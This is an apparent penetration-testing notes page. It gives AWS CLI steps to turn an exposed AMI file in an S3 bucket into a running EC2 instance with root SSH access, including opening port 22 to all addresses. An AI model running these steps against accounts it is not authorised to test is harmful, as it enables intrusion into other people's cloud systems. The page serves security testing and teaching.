> For the complete documentation index, see [llms.txt](https://security-notes.gitbook.io/security-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://security-notes.gitbook.io/security-notes/cloud-aws/bucket-s3/ami-files.md).

# AMI Files

## AMI file to EC2 compromise

Restore the EC2 instance using the exposed AMI file. You will receive a JSON response with an `ImageId` key and value. Store the value because it will be needed to start the instance.

```
aws ec2 create-restore-image-task --object-key <AMI id> --bucket <bucket> --name <arbitrary name>
```

Create a new SSH key pair

```
aws ec2 create-key-pair --key-name <arbitrary name> --query "KeyMaterial" --output text > <path>.pem
```

Get information about subnets and security groups

```
aws ec2 describe-subnets
aws ec2 describe-security-groups
```

If the subnet does not contain a security rule that allows SSH access run the following commands

```
aws ec2 create-security-group --group-name <name> --description "<descr>" --vpc-id <subnet id>
aws ec2 authorize-security-group-ingress --group-id <security group id> --protocol tcp --port 22 --cidr 0.0.0.0/0
```

Create a new EC2 instance with SSH access. Add the generated key to the new instance. If the operation is successful you will receive a JSON response with the information related to the new EC2 instance. Store the `InstanceId` value as reference to the new instance.

```
aws ec2 run-instances --image-id <restored image ID> --instance-type t3a.micro --key-name <generated key name> --subnet-id <subnet id> --security-group-id <security group id>
```

Get the public ip address of the instance

```
aws ec2 describe-instances --instance-ids <instance id> --query 'Reservations[*].Instances[*].PublicIpAddress' --output text
```

Connect to the instance via SSH

```
ssh -i "<key file>.pem" root@<EC2 ip address>
```